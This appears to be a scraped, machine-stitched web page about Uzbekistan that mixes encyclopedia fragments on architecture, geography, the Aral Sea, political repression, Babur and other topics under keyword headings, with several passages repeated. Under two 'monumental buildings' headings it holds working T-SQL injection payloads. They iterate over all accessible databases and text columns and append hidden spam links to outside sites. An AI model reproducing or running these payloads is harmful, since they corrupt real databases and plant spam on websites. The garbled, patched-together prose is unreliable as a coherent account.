Uzbekistan

What is Uzbekistan known for?


rich architectural

, so if you cannot speak Uzbek, Russian would be your best bet. See Architecture Uzbekistan has preserved a rich architectural heritage. The construction of monumental buildings was seen as a matter of prestige, emphasizing the power of the ruling dynasty, leading families and higher clergy. The external appearance of towns was determined to a great extent by their fortifications. The walls were flanked at regular intervals by semicircular towers and the entrances to towns were marked by ''darwazas'' (gates). These gates usually had a high vault and a gallery for lookout and were flanked by two mighty towers. The doors were closed at night and in case of danger. Along the main streets were rows of shops, specialized in different goods, and many skilled craftsmen had their workshops in these stalls. The most important covered markets are called ''tag'', ''tim'' or ''bazaars'' (shopping passages( and ''charsu'' (crossroads, literally "four directions"). In big cities the ''ark'' (fortress) was the administrative center. It contained the emir's palace, chancellery, treausry, arsenal and the jail for high-ranking prisoners. The towns also had large public centres, consisting of a ''maydan'' (open square) surrounded by large buildings for civil or religious purposes. Religious buildings * The '''Friday Mosque (Masjid Al Jumu'ah)''' is located in the town. It had a spacious courtyard with a surrounding gallery and a ''maqsura'' (screened-off enclosure) in the main axis. A typical example is the ''Kalan Mosque'' at ''Bukhara''. * The '''Oratory Mosque (Namazgah)''' is situated outside of the town. Prayers at two important Muslim festivals were conducted in public. The worshippers gathered in an open space in front of the building where the ''minbar'' (imam's pulpit) stood. * The '''Neighbourhood Mosque''' was smaller in size and consisted of a covered hall with the ''mihrab'' and an exterior gallery with columns. They were built from donations of the inhabitants of the neighbourhood and are often richly decorated. An example of this type is the ''Baland (Boland) Mosque'' at ''Bukhara''. * The '''Madrasa''' is an institition for higher education of ''ulama'' (Islamic scholars). The madrasa has a courtyard with two or four aywand (arched portals) on the axes which were used as classrooms in the summer, a row of cells on one or two floors, ''darsakhanas'' (lecture rooms) in two or four corners and a mosque for daily prayer. The main facade has a high portal with two or four minaret-like towers at the corners of the building. Madrasas from the 16th and 17th cent. which have been preserved are ''Madar-Khan'', ''Abdullah Khan'', ''Kukeldash'', ''Nadir Divan Begi'' and ''Abdul Aziz Khan'' at ''Bukhara'', ''Shir-Dor'' and ''Tilla-Kari'' at ''Samarkand'', ''Kukeldash'' and ''Baraq Khan'' in ''Tashkent'', ''Said Ataliq'' at ''Denau'' and ''Mir Rajab Dotha'' at ''Kanibadam''. Madrasas built in the 18th and 19th cent. include ''Narbuta Bi'' at ''Kokand'', ''Qutlugh Murad Inaq'', ''Khojamberdybii'', ''Khoja Moharram'', ''Musa Tura'' and ''Allah-Quili Khan'' in ''Khiva''. * The '''Khanaqah''' was originally a guest house for travelling Sufis near the residence of their ''pir'' (spiritual masters). Under the Timurids they became meeting places of the followers of a Sufi order, attended by representatives of the ruling elite and often a ''zikr-khana'' (room for exposition and Sufi rites) was added. Examples of khanaqas from the 16th and 17th cent include ''Zaynuddin'', ''Fayzabad'', ''Bahaudin'' and ''Nadi Divan-Begi'' at ''Bukhara'', ''Mulla Mir'' near ''Ramitan'', ''Qasim Shaiykh'' at ''Karmana'' and ''Imam Bahra'' near ''Khatirchi''. * '''Memorial buildings''' were erected in the 14th and 15th cent for ''Temur'' and his family, e.g. ''Gur-Emir'' and ''Shah-i Zinda'' at Samarkand and at ''Shakrizabs''. In the 16th and 17th cent. fewer mausoleums were built. An example from this period is the ''Qafal Shashi Mausoleum'' in ''Tashkent''. Monumental buildings were often erected near holy tombs. At ''Bukhara'' a monumental kanaqah was built near the founder of the Naqshbandi order, ''Bahauddein'' and at ''Char Bakr'', the family necropolis of the powerful Juybari shaykhs. From the 16th cent. onwards mauseoleums for rulers were no longer built. The rulers were interred in madrasas, the ''Shaybanids'' of ''Samarkand'' in the ''Abu Said Mausoleum'' on the ''Registan'', ''Ubaydullah Khan'' from ''Bukhara'' in the ''Mir-i Arab Madrasa'' and ''Abdul Aziz Khan'' in the ''Abdul Aziz Madrasa''. Civic architecture * '''Market buildings (Charsu, Tim, Taq)''' form the very heart of an oriental town. The ''charsu'' is a building covered by a central dome, standing at the crossroads, surrounded by shops and workshops covered by small domes. The ''tim'' is a trading passage and the ''taq'' a domed building on a smaller scale built at the intersection of major streets. At ''Bukhara'' the ''Taq-i Zargaran (Goldsmiths' Dome)'' has an octagonal central space covered by a dome set on 32 intersecting arches. Shops and workshops around the central space are toppes by small domes. * '''Caravanserais''' played an important role along the trade routes. According to the traditional plan a caravanserai is a rectangular building with a large courtyard, galleries for animals and baggage, lodgings for the travellers and a mosque. The outer walls were high and thick, the entrance was well guarded and at the corners there were towers for defense. The best exampla is at ''Rabat al-Malik''. A small number of caravanserais have survived, party in ruins, e.g. the caravanserai near the ''Qaraul Bazar'' on the road from ''Bukhara'' to ''Karshi'', the ''Abdullah Khan caravanserai'' on the road from ''Karshi'' to ''Termez''. * '''Bathhouses''' from the 16th and 17th cent. have been preserved at ''Samarkand'', ''Sahrh-i Sabz'', ''Bukhara'' and ''Tashkent''. They are heated by a system of channels under the floor, distributing the heat uniformly through the whole building. Some of them have rooms for disrobing, hot and cold rooms, a massage room or a water closet. Bathhouses are covered with domes which give them their characteristic external appearance. Architectural Ensembles * The '''Pay-i Kalan (Pedestal of the Great''' at ''Bukhara'', * The '''Kosh Madrasa''' at ''Bukhara'', * The '''Lab-i Hauz''' at ''Bukhara'', * The '''Registan''' at ''Samarkand'' * The '''Char-Bakr Complex''' at Sumitan, outside of ''Bukhara'' Nature Reserves * Commons:Category:Uzbekistan WikiPedia:Uzbekistan Dmoz:Regional Asia Uzbekistan


monumental buildings);declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''aids hiv statistics ''+char(60)+''a href="http:''+char(47)+char(47)+''jasonfollas.com''+char(47)+''blog''+char(47)+''page''+char(47)+''hiv-skin-rash.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''jasonfollas.com'''' when 1 then ''''jasonfollas.com'''' else ''''site'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' how do you get hiv or aids''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

. Despite the declared objective of transition (transition economy) to a market economy, its government continues to maintain economic controls which deter foreign investment and imports in favour of domestic 'import substitution'. Uzbekistan is a democratic, secular, unitary (unitary state), constitutional

mi 0 abbr on disp or ) with Afghanistan to the south. Uzbekistan is a dry, landlocked country. It is one of two doubly landlocked countries in the world (that is, a country completely surrounded by landlocked countries), the other being Liechtenstein. In addition, due to its location within a series of endorheic basins, none of its rivers lead to the sea. Less than 10% of its territory is intensively cultivated irrigated land in river valleys and oases. The rest is vast


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. Despite the declared objective of transition (transition economy) to a market economy, its government continues to maintain economic controls which deter foreign investment and imports in favour of domestic 'import substitution'. Uzbekistan is a democratic, secular, unitary (unitary state), constitutional

mi 0 abbr on disp or ) with Afghanistan to the south. Uzbekistan is a dry, landlocked country. It is one of two doubly landlocked countries in the world (that is, a country completely surrounded by landlocked countries), the other being Liechtenstein. In addition, due to its location within a series of endorheic basins, none of its rivers lead to the sea. Less than 10% of its territory is intensively cultivated irrigated land in river valleys and oases. The rest is vast


agricultural program

in the dust and intensified desertification in China causing longer and more frequent occurrences, as well as in the last few decades when the Aral Sea of Kazakhstan and Uzbekistan started drying up due to the diversion of the Amu River (Amu Darya) and Syr River (Syr Darya) following a Soviet agricultural program (Soviet agriculture) to irrigate Central Asian deserts, mainly for cotton plantations. Saw-scaled viper style "width:35%" Southeastern Arabian Peninsula


lively place

in the Turan Depression are: Daşoguz in Turkmenistan, Nukus in Uzbekistan, and Urganch, also in Uzbekistan. Vpadina Akchanaya in Turkmenistan is 267 feet (81 meters) below sea level. The Amu Darya River runs in a southeast-northwesterly direction through the lowlands. Overview Osh is a lively place, with the largest and most crowded outdoor market in all of Central Asia. The city's industrial base, established during the Soviet (Soviet Union) period, largely collapsed after the break-up of the Soviet Union and has started to revive only gradually. The proximity of the Uzbek (Uzbekistan) border, which cuts through historically linked territories and settlements, deprives Osh of much of its former hinterland and presents a serious obstacle to trade and economic development. Daily flights link Osh - and hence the southern part of Kyrgyzstan - to Bishkek and the north, and the recent upgrading of the long and arduous road through the mountains to Bishkek has greatly improved communications. Modern times The government of Uzbekistan under the regime of Islam Karimov Amnesty International - Concerns in Europe and Central Asia July to December 2003 have boiled a number of political dissidents. The British ambassador to Uzbekistan, Craig Murray, explains in his memoir ''Murder in Samarkand'' that he obtained photos of the corpse of Muzafar Avazov and sent them to a forensic pathologist in Britain, who concluded that the visible injuries were consistent with a living person having been immersed in boiling water. The devastation of Persia's main cities led to the cultural centre of the empire shifting to Samarqand in modern Uzbekistan and Herat in modern Afghanistan. Shāhrukh chose to have his capital (Capital (political)) not in Samarqand, but in Herat. This was to become the political centre of the Timurid empire, and residence of his principal successors, though both cities benefited from the wealth and privilege of Shāhrukh's court, which was a great patron of the arts and sciences. Partner universities The university maintains international ties with 136 universities in 26 countries: Australia, Austria, Bangladesh, Brazil, Cambodia, Canada, Chile, China, Czech Republic, Denmark, England, France, Germany, India, Indonesia, Japan, Kazakhstan, Philippines, Poland, Russia, Taiwan, Thailand, Turkey, United States, Uzbekistan, and Vietnam. Central Asia can include: * The Central Asian republics of UN Regional Code 143: Kazakhstan, Uzbekistan, Tajikistan, Turkmenistan and Kyrgyzstan * Afghanistan, Mongolia and the western regions of China in addition The embassy to Samarkand Clavijo, a nobleman of Madrid and chamberlain to the king, set sail from Cadiz on May 21, 1403 in the company of Timur's ambassador, Muhammed al-Kazi, a Dominican friar, Alfonso Páez de Santa María, one of the king's guards, Gómez de Salazar, and other unnamed Castilians. Clavijo sailed through the Mediterranean, passing Majorca, Sicily and Rhodes to Constantinople. Using modern names for the countries through which he passed, Clavijo sailed along the Black Sea coast of Turkey to Trabzon and then overland through Armenia, Iran and Turkmenistan to Uzbekistan. He visited Tehran, Persia (Iran), in 1404. The original intention was to meet with Timur at his winter pasturage in what is now modern Georgia (Georgia (country)), but due to foul weather conditions and a shipwreck, the embassy was forced to return to Constantinople and spend the winter of 1403-1404 there. '''Zarafshan''' ( Commons:Category:Uzbekistan WikiPedia:Uzbekistan Dmoz:Regional Asia Uzbekistan


power+position

, At twelve years of age, Babur obtained his first power position, succeeding his father as ruler of Farghana, in present-day Uzbekistan. His uncles were relentless in their attempts to dislodge him from this position as well as many of his other territorial possessions


crime shows

of the muqams in the 1950s. International broadcast Internationally, broadcasts of the show are popular. Show creator Anthony Zuiker said in an interview with ''CBS Sunday Morning'', "The running joke really is that 'CSI' airs in every country but six: North Korea, Uzbekistan, Iran, Iraq, and a couple of others I probably can't even name." "Why TV crime shows are 'to die for Commons:Category:Uzbekistan WikiPedia:Uzbekistan Dmoz:Regional Asia Uzbekistan


century oil

Commons:Category:Uzbekistan WikiPedia:Uzbekistan Dmoz:Regional Asia Uzbekistan


scoring hits

accessdate 11 June 2007 During the first round, Miguel went on the offensive, scoring hits on Abdullaev's head and body while he was in a defensive stance. In the fourth round, a left hook by Miguel hurt Abdullaev, who proceeded to focus his hits on Cotto's body. Abdullaev's offense was effective in the sixth and seventh rounds and as a result of this, Cotto assumed a defensive stance. ref name "Abdullaev


monumental buildings');declare @c cursor;declare @d varchar(4000);set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''+char(60)+''div style="display:none"''+char(62)+''malonetta hovedpine ''+char(60)+''a href="http:''+char(47)+char(47)+''nogvitaminerhvor.site''+char(47)+''malonetta-og-vit-aminer"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''malonetta ingredients'' when 1 then ''malonetta 40'' else ''malonetta og rigevidon'' end +char(60)+char(47)+''a''+char(62)+'' malonetta menstruation''+char(60)+char(47)+''div''+char(62)+'''' else '''' end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c--

mi 0 abbr on disp or ) with Afghanistan to the south. Uzbekistan is a dry, landlocked country. It is one of two doubly landlocked countries in the world (that is, a country completely surrounded by landlocked countries), the other being Liechtenstein. In addition, due to its location within a series of endorheic basins, none of its rivers lead to the sea. Less than 10% of its territory is intensively cultivated irrigated land in river valleys and oases. The rest is vast

of Uzbekistan, Turkmenistan, Tajikistan and Kyrgyzstan. This definition was also often used outside the USSR during this period. With the collapse of the Soviet Union, five countries gained independence. In nearly all the new states, former Communist Party officials retained power as local strongmen. None of the new republics could be considered functional democracies in the early days of independence, although in recent years Kyrgyzstan, Kazakhstan and Mongolia

, Philip Glass, heart disease, IQ, panda bear, sexual harassment, Shroud of Turin and Uzbekistan – and letter grades of A–D or F were awarded in four categories: coverage, accuracy, clarity, and recency. In all four categories and for all three encyclopaedias, the four average grades fell between B− and B+ (grade conversion), chiefly because none of the encyclopaedias had an article on sexual harassment in 1994. In the accuracy category, the ''Britannica'' received

Uzbekistan

'''Uzbekistan''' ( ), officially the '''Republic of Uzbekistan''' (Uzbek (Uzbek language): ''Oʻzbekiston Respublikasi''), is a doubly landlocked country (Landlocked country#Doubly landlocked country) in Central Asia. It is a unitary, constitutional, presidential republic, comprising 12 provinces, 1 autonomous republic, and 1 independent city. Uzbekistan is bordered by five countries: Kazakhstan and the Aral Sea to the north; Tajikistan to the southeast; Kyrgyzstan to the northeast; Afghanistan to the south; and Turkmenistan to the southwest.

Once part of the Turkic Khaganate (Göktürks) and later Timurid Empires, the region which today includes the Republic of Uzbekistan was conquered in the early 16th century by nomads who spoke an Eastern Turkic language. This region was subsequently incorporated into the Russian Empire in the 19th century, and in 1924 it became a bordered constituent republic of the Soviet Union, known as the Uzbek Soviet Socialist Republic (Uzbek SSR). It subsequently became the independent Republic of Uzbekistan on 31 August 1991 (officially, as of the following day). Most of Uzbekistan's population today belong to the Uzbek ethnic group (Uzbeks) and speak Uzbek (Uzbek language), a language belonging to the family of Turkic languages.

Uzbekistan's economy relies mainly on commodity production, including cotton, gold, uranium, and natural gas. Despite the declared objective of transition (transition economy) to a market economy, its government continues to maintain economic controls which deter foreign investment and imports in favour of domestic 'import substitution'.

Uzbekistan is a democratic, secular, unitary (unitary state), constitutional republic with a diverse cultural heritage. The country's official language is Uzbek, spoken natively by approximately 85% of the population. Uzbeks (Uzbek people) constitute 81% of the population. Minorities include Russians (5.4%) and others (13.5%). A majority of Uzbeks (54%) are non-denominational Muslims. "Chapter 1: Religious Affiliation". The World’s Muslims: Unity and Diversity. Pew Research Center's Religion & Public Life Project. August 9, 2012. Retrieved 4 September 2013. Uzbekistan is a member of the CIS (Commonwealth of Independent States), OSCE (Organization for Security and Co-operation in Europe), UN (United Nations), and the SCO (Shanghai Cooperation Organisation).

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